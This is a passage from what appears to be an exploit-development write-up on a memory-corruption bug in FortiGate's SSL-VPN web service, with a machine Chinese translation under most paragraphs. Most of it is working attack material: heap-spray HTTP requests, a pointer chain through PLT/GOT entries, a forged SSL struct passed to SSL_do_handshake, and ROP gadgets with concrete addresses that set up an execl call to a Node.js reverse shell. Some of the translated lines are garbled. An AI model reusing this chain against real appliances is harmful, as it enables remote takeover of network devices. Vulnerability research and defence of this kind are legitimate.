=> 0x17021b8:   mov    BYTE PTR [rax+rdx*1],0xd <- param_1->ap_read_dest_buf_2f8[lVar6] = 0xd;
(gdb) i r
rax            0x7ffce9b8c868   140724229687400
rbx            0x7fc3debddc58   140479232334936
rcx            0x1029   4137
rdx            0x1028   4136  <- "0"*4133 + '\0' + '\r\n' inserted by the parser
rsi            0xfd4    4052
...

We continued until we returned from the vulnerable function FUN_01701ee0 and saw 0x0a0d written at the offset calculated at breakpoint 4.
我们继续,直到我们从易受攻击的函数FUN_01701ee0返回,并看到0x0a0d写入在断点 4 处计算的偏移量。

Breakpoint 5, 0x0000000001813696 in ?? ()
1: x/i $rip
=> 0x1813696:   test   eax,eax
(gdb) x/10gx $rbp
0x7ffce9b8d860: 0x00007ffce9b8d8b0      0x0000000001828e8d
0x7ffce9b8d870: 0x00007ffce9b8d880      0x00007fc3debdda18
0x7ffce9b8d880: 0x00007ffce9b8d8b0      0x0000000000000000
0x7ffce9b8d890: 0x00007fc3dea50a0d      0x00007fc3dea54800 <- 0x7ffce9b8d890 = rax + rdx at breakpoint 4 
0x7ffce9b8d8a0: 0x0000000000000000      0x0000000100021a29

With this we could now write 0x0a0d somewhere on the stack. It’s not the most powerful write primitive, but it was enough to get us started.
有了这个,我们现在可以0x0a0d堆栈上的某个地方写。它不是最强大的编写原语,但它足以让我们入门。

What to Do With Only Two Bytes
如何处理只有两个字节

We looked at the stack and saw four options for what we could overwrite.
我们查看了堆栈,并看到了可以覆盖的四个选项。

  1. Return addresses 返回地址
  2. Saved base pointers 保存的基本指针
  3. Saved locals (miscellaneous values)
    保存的局部变量(杂项值)
  4. Saved locals (heap pointers)
    保存的局部变量(堆指针)

Option 1 was quickly ruled out. All the return addresses were 0x182xxxx and could only be overwritten to 0x1820a0d, which contained an invalid instruction and immediately faulted.
备选方案1很快被排除在外。所有返回地址都是 0x182xxxx,只能覆盖到 0x1820a0d,其中包含无效指令并立即出错。

Option 2 was promising, rewriting the lower significant bits of these pointed them into the stack buffer used to read in the request. However, looking at each function in the call stack, none of them used stack local variables that much. Most just kept everything in registers.
选项 2 很有希望,重写其中的较低有效位,将它们指向用于读取请求的堆栈缓冲区。但是,查看调用堆栈中的每个函数,它们都没有那么多地使用堆栈局部变量。大多数人只是将所有东西都保存在寄存器中。

Option 3 was tried for a little while, but nothing interesting happened when these values were modified.
选项 3 尝试了一段时间,但在修改这些值时没有发生任何有趣的事情。

Option 4 was all that was left and it was our least favourite, because it meant heap manipulation which had the potential to be very unreliable.
选项 4 是剩下的,它是我们最不喜欢的,因为它意味着堆操作,这可能非常不可靠。

Before starting with option 4, we took a fresh stack dump without overwriting and lined up the heap addresses with the registers they would be popped into. We wanted to verify that controlling these addresses could lead to something useful before spending a lot of time setting up the heap.
在开始使用选项 4 之前,我们进行了一次新的堆栈转储,而不进行覆盖,并将堆地址与它们将被弹出的寄存器对齐。我们想在花费大量时间设置堆之前验证控制这些地址是否可以带来一些有用的东西。

0x7ffd82cad100: 0x0000000000000000      0x0000000000000000 
0x7ffd82cad110: 0x00007ffd82cad160      0x0000000001828e8d leave, ret
0x7ffd82cad120: 0x00007ffd82cad130      0x00007ff7a7f83a18 
0x7ffd82cad130: 0x00007ffd82cad160      0x0000000000000000 
0x7ffd82cad140: 0x00007ff7a8c548c0      0x00007ff7a8c54800 pop r12, pop r13 <- r13 is promising
0x7ffd82cad150: 0x0000000000000000      0x000000010003b457 pop r14, pop r15
0x7ffd82cad160: 0x00007ffd82cad190      0x000000000182a540 pop rbp, ret
0x7ffd82cad170: 0x000000000bf96140      0x000000000bf96140 
0x7ffd82cad180: 0x0000000000000000      0x0000000000000000 
0x7ffd82cad190: 0x00007ffd82cad1c0      0x000000000182a61e 
0x7ffd82cad1a0: 0x0000000000000000      0x0000000000000000 
0x7ffd82cad1b0: 0x0000000000000000      0xfffffffffffffefd pop r12, pop r13
0x7ffd82cad1c0: 0x00007ffd82caf300      0x000000000182ac05 pop rbp, ret     <- ret to mainLoop
0x7ffd82cad1d0: 0x00007ffd82cad2a1      0x000000000001d096

We traced each register through its returning function. The pop r13 and return to 0x182a540 had the most promise. Looking at the disassembly we see that r13 is used as the first argument to the function we are returning from.

0182a530 ba 01 00        MOV        EDX,0x1
         00 00
0182a535 44 89 f6        MOV        ESI,R14D
0182a538 4c 89 ef        MOV        RDI,R13       <- r13 set as first argument
0182a53b e8 d0 e8        CALL       FUN_01828e10
         ff ff
0182a540 85 c0           TEST       EAX,EAX       <- where we return, having just popped r13 
0182a542 75 2c           JNZ        LAB_0182a570

We also saw in the decompilation that this function was called in a loop. We could overwrite r13 in the first pass of the loop, it would then be used as a param_1 in the second pass.

do {
    lVar5 = ((long)iVar3 + 6) * 0x20 + param_1;
    if ((*(byte *)(lVar5 + 0x10) & 2) != 0) {

        // r13 is copied into param_1 then pushed in FUN_01828e10
        iVar4 = FUN_01828e10(param_1, iVar3, 1);

        // ret 0x182a540 lands here after r13 is popped
        if (iVar4 != 0) goto LAB_0182a570;
        pbVar1 = (byte *)(lVar5 + 0x10);
        *pbVar1 = *pbVar1 & 0xfd;
    }
    ...
} while( true );

FUN_01828e10 has a lot going on and calls function pointers at multiple locations. One such location is shown below, note that at this stage the r13 value we overwrote has been copied to rdi. Extraneous instructions have been omitted.
FUN_01828e10有很多事情要做,并在多个位置调用函数指针。下面显示了一个这样的位置,请注意,在此阶段,我们覆盖的 r13 值已复制到 rdi。省略了无关的说明。

01828e2e 4c 8b af        MOV        R13,qword ptr [RDI + 0x298]
         98 02 00 00
...
01828e43 4d 8b 7d 70     MOV        R15,qword ptr [R13 + 0x70]
...
01828e7d 4a 8b 44        MOV        RAX,qword ptr [RAX + R15*0x1 + 0x20]
         38 20
...
01828e8b ff d0           CALL       RAX

This was really promising. It looked like if we set things up correctly we could jump to an address we controlled. The problem was we needed to perform two pointer dereferences and we wouldn’t know the heap address containing our buffer so we couldn’t point it at itself.
这真的很有希望。看起来,如果我们设置得当,我们可以跳转到我们控制的地址。问题是我们需要执行两个指针取消引用,并且我们不知道包含缓冲区的堆地址,因此我们无法将其指向自身。

Instead we could try call a linked external function. These should already have the appropriate pointers in the PLT and GOT tables. We chose system and tried to determine what values we would need to call it.
相反,我们可以尝试调用链接的外部函数。这些应该在 PLT 和 GOT 表中已经有适当的指针。我们选择了系统,并试图确定我们需要什么值来调用它。

Working backwards, we searched for references to system and found a pointer at 0x042c5770.
向后工作,我们搜索了对系统的引用,并在0x042c5770处找到了一个指针。

         PTR_system_042c5770     XREF[1]:     system:00440ee0
042c5770 58 66 93        addr    <EXTERNAL>::system
         0f 00 00 
         00 00

This was the last dereference, so we had the following, separated into two steps.

tmp0 = rax + r15 + 0x20 (0x042c5770)
rax  = *tmp0            (0x00440ee0)
call rax

We stepped through the code with the debugger and saw rax was often 0x20 at this point, so we could simplify it to the following.

tmp0 = r15 + 0x40 (0x042c5770)
rax  = *tmp0      (0x00440ee0)
call rax

Going back another step we searched all memory blocks for 0x042C5730 (0x042c5770 – 0x40). We found it in the .rela.plt section at 0x004337b8.

004337b8 30 57 2c 04 00  dq        42C5730h                r_offset      location to apply 
         00 00 00
004337c0 07 00 00 00 c5  dq        4C500000007h            r_info        the symbol table i
         04 00 00
004337c8 00 00 00 00 00  dq        0h                      r_addend      a constant addend 
         00 00 00

We now had the following:
我们现在有以下内容:

tmp1 = r13 + 0x70 (0x004337b8)
r15  = *tmp1      (0x042C5730)
tmp0 = r15 + 0x40 (0x042c5770)
rax  = *tmp0      (0x00440ee0)
call rax

And the last step meant we just needed to write 0x00433748 at rdi + 0x298. Which since we controlled where rdi pointed, should be no problem.
最后一步意味着我们只需要在 rdi + 0x298 上编写0x00433748。由于我们控制了 rdi 指向的位置,这应该没有问题。

tmp2 = rdi + 0x298
r13  = *tmp2       (0x00433748)
tmp1 = r13 + 0x70  (0x004337b8)
r15  = *tmp1       (0x042C5730)
tmp0 = r15 + 0x40  (0x042c5770)
rax  = *tmp0       (0x00440ee0)
call rax

To recap, this was the plan going forward.
回顾一下,这是未来的计划。

  1. Allocate a heap buffer containing 0x00433748 at the right offset.
    在右侧偏移量处分配包含0x00433748的堆缓冲区。
  2. Overwrite the lower two bytes of the saved r13 pointer with 0x0a0d, hopefully this should cause it to point to somewhere in the above heap allocation.
    用 0x0a0d 覆盖保存的 r13 指针的下两个字节,希望这应该会导致它指向上述堆分配中的某个位置。
  3. r13 is popped and we loop around to call FUN_01828e10 with rdi set to r13.
    R13 被弹出,我们循环调用 FUN_01828e10,并将 RDI 设置为 R13。
  4. FUN_01828e10 will dereference rdi then r13 then r15 leaving rax with the address of system.
    FUN_01828e10将取消引用 RDI,然后是 R13,然后是 R15,将 RAX 与系统地址分开。
  5. system is called and we get remote code execution.
    系统被调用,我们得到远程代码执行。

Controlling the Heap 控制堆

To get started, we had to understand how the value pointed to by r13 was allocated and if we could get an allocation of our own nearby.
首先,我们必须了解 r13 所指向的值是如何分配的,以及我们是否可以在附近获得我们自己的分配。

We noticed that r13 was often allocated the same address and so we set a watchpoint on it. The goal was to find where the allocation occurred and what size it was. The watchpoint was hit as soon as we sent through a request and can be seen below along with the stack trace.

(gdb) watch *0x00007fc3dea548c0
Hardware watchpoint 6: *0x00007fc3dea548c0
(gdb) c
Continuing.
Hardware watchpoint 6: *0x00007fc3dea548c0

Old value = 25335392
New value = 0
0x00007fc3e37f2835 in __memset_avx2_unaligned_erms () from /usr/lib/x86_64-linux-gnu/libc.so.6
1: x/i $rip
=> 0x7fc3e37f2835 <__memset_avx2_unaligned_erms+165>:   vmovdqa YMMWORD PTR [rcx+0x60],ymm0
(gdb) bt
#0  0x00007fc3e37f2835 in __memset_avx2_unaligned_erms () from /usr/lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fc3e391a665 in je_calloc () from /usr/lib/x86_64-linux-gnu/libjemalloc.so.2
#2  0x000000000181fddd in ?? ()
#3  0x00000000018380ab in ?? ()
#4  0x0000000001829bbd in ?? ()
#5  0x000000000182ab85 in ?? ()
#6  0x000000000182bdfc in ?? ()
#7  0x000000000182d182 in ?? ()
#8  0x000000000044afef in ?? ()
#9  0x00000000004504d8 in ?? ()
#10 0x0000000000450dc6 in ?? ()
#11 0x00000000004534f8 in ?? ()
#12 0x0000000000453df9 in ?? ()
#13 0x00007fc3e36bbdeb in __libc_start_main () from /usr/lib/x86_64-linux-gnu/libc.so.6
#14 0x000000000044615a in ?? ()

We set a breakpoint at 0x18380a6 which is the function called for frame #3 in the above output. When this was hit we saw the requested allocation size was 0x730 or 1840 bytes.
我们在 0x18380a6 处设置了一个断点,这是在上面的输出中为帧 #3 调用的函数。当它被击中时,我们看到请求的分配大小为 0x730 或 1840 字节。

Breakpoint 7, 0x00000000018380a6 in ?? ()
1: x/i $rip
=> 0x18380a6:   call   0x181fdb0
(gdb) i r
rax            0x1e     30
rbx            0x0      0
rcx            0xd0     208
rdx            0x3281a18        52959768
rsi            0x730    1840    <- allocation size
rdi            0x1      1       <- number of allocations
rbp            0x7ffce9b8d840   0x7ffce9b8d840
rsp            0x7ffce9b8d800   0x7ffce9b8d800

Next we setup some GDB scripts to automatically print calls to je_malloc and je_calloc if the allocation size was near 0x730. The script would print the start and end addresses of the allocations and their size.
接下来,我们设置一些 GDB 脚本,以便在分配大小接近 0x730时自动打印对 je_malloc 和 je_calloc 的调用。该脚本将打印分配的开始和结束地址及其大小。

b je_malloc if (($rdi >= 0x700) && ($rdi <= 0x800))
commands
    silent
    set $malloc_size = $rdi
    c
end

b *(je_malloc+205)
commands
    silent
    if (($malloc_size >= 0x700) && ($malloc_size <= 0x800))
        printf "je_malloc: %p : %p : %d\n", $rax, ($rax + $malloc_size), $malloc_size
        set $malloc_size = 0
    end
    c
end

b je_calloc if (($rsi >= 0x700) && ($rsi <= 0x800))
commands
    silent
    set $calloc_size = $rsi
    c
end

b *(je_calloc+340)
commands
    silent
    if (($calloc_size >= 0x700) && ($calloc_size <= 0x800))
        printf "je_calloc: %p : %p : %d\n", $rax, ($rax + $calloc_size), $calloc_size
        set $calloc_size = 0
    end
    c
end

set $malloc_size = 0
set $calloc_size = 0

With our crash request we saw just one allocation.
在我们的崩溃请求中,我们只看到了一个分配。

je_calloc: 0x7ff0b0254800 : 0x7ff0b0254f30 : 1840

We knew from previous exploits that FortiGate would create individual allocations for each form post parameter when they were parsed. This let us have a very fine-grained control of the allocations. We sent a request with five form parameters, each the same length as our target allocation size.
我们从之前的漏洞中知道,FortiGate 会在解析每个表单后参数时为它们创建单独的分配。这让我们可以对分配进行非常精细的控制。我们发送了一个包含五个表单参数的请求,每个参数的长度与我们的目标分配大小相同。

body = (b"A"*1840 + b"=&")*5

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

We could now see lots of allocations being printed. They weren’t quite the same size, 32 bytes were added. However, we could just shrink the parameter size if we wanted it to be exact. Many of the allocations were contiguous and appeared to be in 0x800 byte blocks.
我们现在可以看到很多分配被打印出来。它们的大小不完全相同,添加了 32 个字节。但是,如果我们希望参数大小准确,我们可以缩小参数大小。许多分配是连续的,似乎以 0x800 字节块为单位。

je_calloc: 0x7ff0b0254800 : 0x7ff0b0254f30 : 1840
je_malloc: 0x7ff0af59c000 : 0x7ff0af59c750 : 1872
je_malloc: 0x7ff0af57d800 : 0x7ff0af57df50 : 1872
je_malloc: 0x7ff0af57d000 : 0x7ff0af57d750 : 1872
je_malloc: 0x7ff0af5a2800 : 0x7ff0af5a2f50 : 1872
je_malloc: 0x7ff0af53b000 : 0x7ff0af53b750 : 1872
je_malloc: 0x7ff0af53b800 : 0x7ff0af53bf50 : 1872
je_malloc: 0x7ff0af551000 : 0x7ff0af551750 : 1872
je_malloc: 0x7ff0af551800 : 0x7ff0af551f50 : 1872
je_malloc: 0x7ff0af572000 : 0x7ff0af572750 : 1872
je_malloc: 0x7ff0af572800 : 0x7ff0af572f50 : 1872
je_malloc: 0x7ff0af57a000 : 0x7ff0af57a750 : 1872

After some back and forth, tweaking the sizes and checking the results we had the following two requests.
经过一些来回,调整大小并检查结果,我们收到了以下两个请求。

ssock1 = make_sock(TARGET, PORT)

# spray the heap with ~0x800 sized allocations
body = (b"A"*1901 + b"=" + b"B"*1901 + b"&")*15

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1.sendall(data)

# short pause to ensure the form is parsed and
# allocated before starting the next connection
time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

We sent the requests and put a breakpoint just after our 0x0a0d overwrite.
我们发送了请求,并在0x0a0d覆盖后放置了一个断点。

je_calloc: 0x7ff0af5a6000 : 0x7ff0af5a6730 : 1840 <- first request allocation
je_malloc: 0x7ff0af5d0000 : 0x7ff0af5d0788 : 1928
je_malloc: 0x7ff0af5a5800 : 0x7ff0af5a5f88 : 1928
je_malloc: 0x7ff0af5a5000 : 0x7ff0af5a5788 : 1928
...
je_malloc: 0x7ff0af576800 : 0x7ff0af576f88 : 1928
je_malloc: 0x7ff0af54f000 : 0x7ff0af54f788 : 1928
je_malloc: 0x7ff0af57f800 : 0x7ff0af57ff88 : 1928
je_malloc: 0x7ff0af580000 : 0x7ff0af580788 : 1928 <- allocation pointed to after 0x0a0d overwrite 
je_malloc: 0x7ff0af580800 : 0x7ff0af580f88 : 1928
je_malloc: 0x7ff0af588000 : 0x7ff0af588788 : 1928
je_calloc: 0x7ff0af588000 : 0x7ff0af588730 : 1840 <- second request allocation

Breakpoint 5, 0x0000000001813696 in ?? ()
(gdb) x/10gx $rbp
0x7ffde554ae20: 0x00007ffde554ae70      0x0000000001828e8d
0x7ffde554ae30: 0x00007ffde554ae40      0x00007ff0af53b6a8
0x7ffde554ae40: 0x00007ffde554ae70      0x0000000000000000
0x7ffde554ae50: 0x00007ff0af5880c0      0x00007ff0af580a0d <- r13 overwritten with 0x0a0d
0x7ffde554ae60: 0x0000000000000000      0x000000010008239b
(gdb) x/10gx 0x00007ff0af580a0d
0x7ff0af580a0d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a1d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a2d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a3d: 0x4141414141414141      0x4141414141414141
0x7ff0af580a4d: 0x4141414141414141      0x4141414141414141

With this we could reliably redirect the r13 pointer to a buffer we controlled. Now we just had to fill the buffer with our payload and we should have remote code execution.
有了这个,我们可以可靠地将 r13 指针重定向到我们控制的缓冲区。现在,我们只需要用有效负载填充缓冲区,并且应该进行远程代码执行。

 

Calling System 呼叫系统

We tweaked the form parameter to contain our pointer chain which would call system. This was done by manually adding and removing padding either side until the value was aligned. We ended with the following request.
我们调整了表单参数以包含将调用 system 的指针链。这是通过手动添加和删除任一侧的填充来完成的,直到值对齐。我们以以下请求结束。

system_ptr = b"%48%37%43%00%00%00%00%00" # 0x00433748
body = (b"B"*1165 + system_ptr + b"B"*713 + b"=&")*25

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

We had to change the padding from “A” to “B” because of a check that a specific byte in our buffer ANDed with 0x2 was not zero. “A” was 0x41 and didn’t meet this requirement.
我们不得不将填充从“A”更改为“B”,因为检查了缓冲区中与0x2的特定字节不为零。“A”0x41,不符合此要求。

// lVar5 + 0x10 points into our buffer at this stage
if ((*(byte *)(lVar5 + 0x10) & 2) != 0) {

    // FUN_01828e10 will dereference and call system
    iVar4 = FUN_01828e10(param_1, iVar3, 1);

We stepped through the pointer chain up to the call to system and saw that the first argument, rdi, already pointed to our buffer.
我们通过指针链单步执行到对系统的调用,并看到第一个参数 rdi 已经指向我们的缓冲区。

0x0000000001828e2e in ?? ()
1: x/i $rip
=> 0x1828e2e:   mov    r13,QWORD PTR [rdi+0x298]
(gdb) x/gx $rdi+0x298
0x7ff0af5c0ca5: 0x0000000000433748

...skipped

0x0000000001828e43 in ?? ()
1: x/i $rip
=> 0x1828e43:   mov    r15,QWORD PTR [r13+0x70]
(gdb) x/gx $r13+0x70
0x4337b8:       0x00000000042c5730

...skipped

=> 0x1828e7d:   mov    rax,QWORD PTR [rax+r15*1+0x20]
(gdb) x/gx $r15+0x40
0x42c5770:      0x0000000000440ee6

...skipped

0x0000000001828e8b in ?? ()
1: x/i $rip
=> 0x1828e8b:   call   rax
(gdb) si
0x0000000000440ee6 in system@plt ()
1: x/i $rip
=> 0x440ee6 <system@plt+6>:     push   0x4eb
(gdb) x/s $rdi
0x7ff0af5c0a0d: 'B' <repeats 200 times>...

We wrote in a payload and it worked, but realised we had made a mistake. system always runs /bin/sh, which we had modified. The original /bin/sh was a custom application that would only run a few commands.
我们在有效载荷中编写了有效载荷,它起作用了,但意识到我们犯了一个错误。系统始终运行我们修改过的 /bin/sh。最初的 /bin/sh 是一个自定义应用程序,只能运行几个命令。

Calling system wasn’t going to get us remote code execution. We would have to try a different approach.
调用系统不会让我们远程执行代码。我们将不得不尝试不同的方法。

Not Giving Up 不放弃

While this was quite disheartening, we weren’t ready to give up. There were loads of other dynamically linked functions we could call. We looked for any that took a string as the first argument, but found none were that interesting.
虽然这非常令人沮丧,但我们还没有准备好放弃。我们可以调用大量其他动态链接的函数。我们寻找任何以字符串作为第一个参数的东西,但没有发现一个是那么有趣。

Previous FortiGate exploits often overwrote a function pointer in an SSL struct which would then be triggered by a call to SSL_do_handshake. We didn’t consider this originally because we didn’t think we could overwrite this struct with just 0x0a0d.
以前的 FortiGate 漏洞经常覆盖 SSL 结构中的函数指针,然后通过调用SSL_do_handshake触发该指针。我们最初没有考虑这一点,因为我们认为我们不能只用0x0a0d覆盖这个结构。

However, we realised that since SSL_do_handshake was dynamically linked we could call it ourselves. We controlled the first argument and just had to forge an SSL struct with the function pointer where we wanted it.
然而,我们意识到,由于SSL_do_handshake是动态链接的,我们可以自己称呼它。我们控制了第一个参数,只需要在我们想要的地方使用函数指针伪造一个 SSL 结构。

First we calculated the start of the PLT/GOT pointer chain to call SSL_do_handshake as 0x42ce60. We then started stepping through SSL_do_handshake to see what parts of the SSL struct we needed to set in order to call the function pointer.
首先,我们计算了 PLT/GOT 指针链的起点,以SSL_do_handshake 0x42ce60 调用。然后,我们开始逐步执行SSL_do_handshake,以查看需要设置 SSL 结构的哪些部分才能调用函数指针。

Below is a simplified version of SSL_do_handshake. We wanted to call handshake_func at the end of the function. It’s a short function, but still requires some work. Most notably the function pointer call ssl_renegotiate_check.
以下是SSL_do_handshake的简化版本。我们想在函数结束时调用handshake_func。这是一个简短的功能,但仍然需要一些工作。最值得注意的是函数指针调用ssl_renegotiate_check。

int SSL_do_handshake(SSL *s)
{
    int ret = 1;
    SSL_CONNECTION *sc = SSL_CONNECTION_FROM_SSL(s);

    if (sc->handshake_func == NULL) {
        ERR_raise(ERR_LIB_SSL, SSL_R_CONNECTION_TYPE_NOT_SET);
        return -1;
    }

    ossl_statem_check_finish_init(sc, -1);

    // double dereference is a problem
    s->method->ssl_renegotiate_check(s, 0);

    // SSL_in_init is easy to account for
    if (SSL_in_init(s) || SSL_in_before(s)) {

        // we do not want an async call, so this needs to go to the else block
        if ((sc->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
            struct ssl_async_args args;

            memset(&args, 0, sizeof(args));
            args.s = s;

            ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
        } else {
            // handshake_func will be an address we control
            ret = sc->handshake_func(s);
        }
    }
    return ret;
}

To avoid a segfault on ssl_renegotiate_check we used the same trick we used to call SSL_do_handshake. It didn’t matter what we called as long as it didn’t break anything. The assembly for s->method->ssl_renegotiate_check(s, 0); is:
为了避免ssl_renegotiate_check出现段错误,我们使用了与SSL_do_handshake相同的技巧。我们叫什么都没关系,只要它不破坏任何东西。s->method->ssl_renegotiate_check(s, 0) 的组件;是:

call QWORD PTR [rax+0x60]

So we grabbed the PLT/GOT pointer for an innocuous function, getcwd and subtracted 0x60 from it which gave us 0x42c6270. After aligning everything again, we called SSL_do_handshake and saw the following in the debugger.
因此,我们抓住了一个无害函数 getcwd 的 PLT/GOT 指针,并从中减去0x60,这给了我们0x42c6270。再次对齐所有内容后,我们调用了 SSL_do_handshake,并在调试器中看到了以下内容。

0x00007ff0b49c0f16 in SSL_do_handshake () from /usr/lib/x86_64-linux-gnu/libssl.so.3
1: x/i $rip
=> 0x7ff0b49c0f16 <SSL_do_handshake+54>:        call   QWORD PTR [rax+0x60]
(gdb) i r
rax            0x42c6270        70017648 <- 0x42c6270 + 0x60 = 0x042c62d0 which points to getcwd 
...
(gdb) si
0x00000000004425a6 in getcwd@plt ()
1: x/i $rip
=> 0x4425a6 <getcwd@plt+6>:     push   0x657

Next was SSL_in_init which was the following:
接下来是SSL_in_init内容如下:

mov    eax,DWORD PTR [rdi+0x64]
ret
test   eax,eax

This was easy to achieve as none of our padding bytes were zero and the check always evaluated to true.
这很容易实现,因为我们的填充字节都不是零,并且检查的评估结果始终为 true。

Last was the async job check sc->mode & SSL_MODE_ASYNC, which was the following assembly.
最后是异步作业检查sc->mode & SSL_MODE_ASYNC,即以下程序集。

test   BYTE PTR [rbp+0x9f1],0x1

It checked a specific byte somewhere in our buffer had the lowest bit set. Not a problem because we wanted the check to fail and all our padding bytes were 0x42.
它检查了缓冲区中某处的特定字节是否设置了最低位。这不是问题,因为我们希望检查失败,并且我们所有的填充字节都0x42。

We stepped through to the handshake_func call and saw we had loaded in an address from our buffer. Now for the first time we could direct execution to an arbitrary address.
我们进入了handshake_func呼叫,看到我们已经从缓冲区中加载了一个地址。现在,我们第一次可以将执行定向到任意地址。

0x00007ff0b49c0f4e in SSL_do_handshake () from /usr/lib/x86_64-linux-gnu/libssl.so.3
1: x/i $rip
=> 0x7ff0b49c0f4e <SSL_do_handshake+110>:       jmp    rax
(gdb) i r
rax            0x4242424242424242       4774451407313060418
rbx            0x1      1

ROP Chain Time ROP 链时间

From here it was mostly smooth sailing. We needed to build a ROP chain that would setup and call execl with the same Node.js reverse shell as previous FortiGate exploits but modified to run /bin/node instead of /bin/sh. The /bin/init binary is huge so there was no shortage of gadgets.
从这里开始,基本上是一帆风顺的。我们需要构建一个 ROP 链,该链将使用与以前的 FortiGate 漏洞利用相同的Node.js反向 shell 来设置和调用 execl,但修改为运行 /bin/node 而不是 /bin/sh。/bin/init 二进制文件很大,所以不乏小工具。

We looked at the registers just before the jmp rax and saw that rdi still pointed to our buffer. Using ropr we found a gadget to pivot the stack to our buffer with push rdi; pop rsp; ret;.
我们查看了jmp rax之前的寄存器,发现rdi仍然指向我们的缓冲区。使用 ropr,我们找到了一个小工具,可以通过推送 rdi 将堆栈旋转到我们的缓冲区;流行RSP;ret;。

$ ~/.cargo/bin/ropr --stack-pivot -R 'push rdi; pop rsp;' ./init-7.2.5
0x00527064: push rdi; pop rsp; bswap eax; bswap edx; sub eax, edx; ret;
0x00a5cc2d: push rdi; pop rsp; cli; add ecx, [rax-0x46]; iretd;
0x00fdf752: push rdi; pop rsp; ret;
0x015ca137: xor eax, 0xc0ba0953; push rdi; pop rsp; add [rsi+0xf], edi; mov rax, [rdi]; call qword ptr [rax+8];
0x015ca13c: push rdi; pop rsp; add [rsi+0xf], edi; mov rax, [rdi]; call qword ptr [rax+8];

==> Found 5 gadgets in 5.434 seconds

After this pivot, space was tight so we used another stack pivot add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret; to advance the stack forward. This gave us plenty of room.
在此枢轴之后,空间很紧张,因此我们使用了另一个堆栈枢轴,添加 rsp、0x2a0;流行RBX;流行 R12;流行RBP;ret;向前推进堆栈。这给了我们足够的空间。

We wanted to setup this call, execl(“/bin/node”, “/bin/node”, “-e”, “..js reverse shell..”, 0), which meant setting the registers as follows:
我们想设置这个调用, execl(“/bin/node”, “/bin/node”, “-e”, “..js reverse shell..“, 0),这意味着按如下方式设置寄存器:

  1. rdi = pointer to “/bin/node”
    rdi = 指向“/bin/node”的指针
  2. rsi = pointer to “/bin/node”
    rsi = 指向“/bin/node”的指针
  3. rdx = pointer to “-e”
    rdx = 指向“-e”的指针
  4. rcx = pointer to “..js reverse shell..”
    rcx = 指向“..js 反向 shell..”
  5. r8 = 0

Starting with rcx, we created the following gadget chain. This would copy our buffer pointer in rdi to rax, shift it back 0x2b8 bytes, then OR it into rcx.
从 rcx 开始,我们创建了以下小工具链。这会将 rdi 中的缓冲区指针复制到 rax,将其移回 0x2b8 个字节,然后将其 OR 复制到 rcx 中。

rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

Next was rdx, after the previous gadget the value of rax was one, so we shift it left to equal 16, OR rcx into rdx and then subtract rax from rdxrdx and rax now point to 16 bytes before rcx. Plenty of room for “-e”
接下来是 rdx,在上一个小工具之后,rax 的值是 1,所以我们把它向左移动为等于 16,或者将 rcx 移动到 rdx,然后从 rdx 中减去 rax。RDX 和 RAX 现在指向 RCX 之前的 16 个字节。“-e”有足够的空间

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

Next was rsi, we move rax back another 16 bytes then copy it to rsi with an ADD because rsi is zero at this point.
接下来是 rsi,我们将 rax 再向后移动 16 个字节,然后使用 ADD 将其复制到 rsi,因为此时 rsi 为零。

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

Lastly rdi and r8, copy rax to rdi, then set r8 to zero by popping a zero.
最后,将 rdi 和 r8 复制到 rdi,然后通过弹出一个零将 r8 设置为零。

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret;
rop += b"%00%00%00%00%00%00%00%00" # r8

Before we can call execl we need to move the stack pointer again because it is too close to the arguments. Calling execl will clobber the payload as part of its execution.
在调用 execl 之前,我们需要再次移动堆栈指针,因为它离参数太近了。调用 execl 将在执行过程中破坏有效负载。

We pivot one last time with add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret; then return to execl at 0x43c180. It was probably possible to do this third pivot before the start of the argument setup and shift the whole chain, but writing the exploit had already taken long enough.
我们最后一次使用 add rsp、0xd90 进行透视;流行RBX;流行 R12;流行RBP;ret;然后在 0x43c180 返回 execl。在参数设置开始之前进行第三次支点并转移整个链可能是可能的,但编写漏洞已经花费了足够长的时间。

We ended with the following payload. We found that moving the payload from the form name to the form value helped with heap allocation, but it wasn’t required.
我们以以下有效载荷结束。我们发现,将有效负载从表单名称移动到表单值有助于堆分配,但这不是必需的。

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
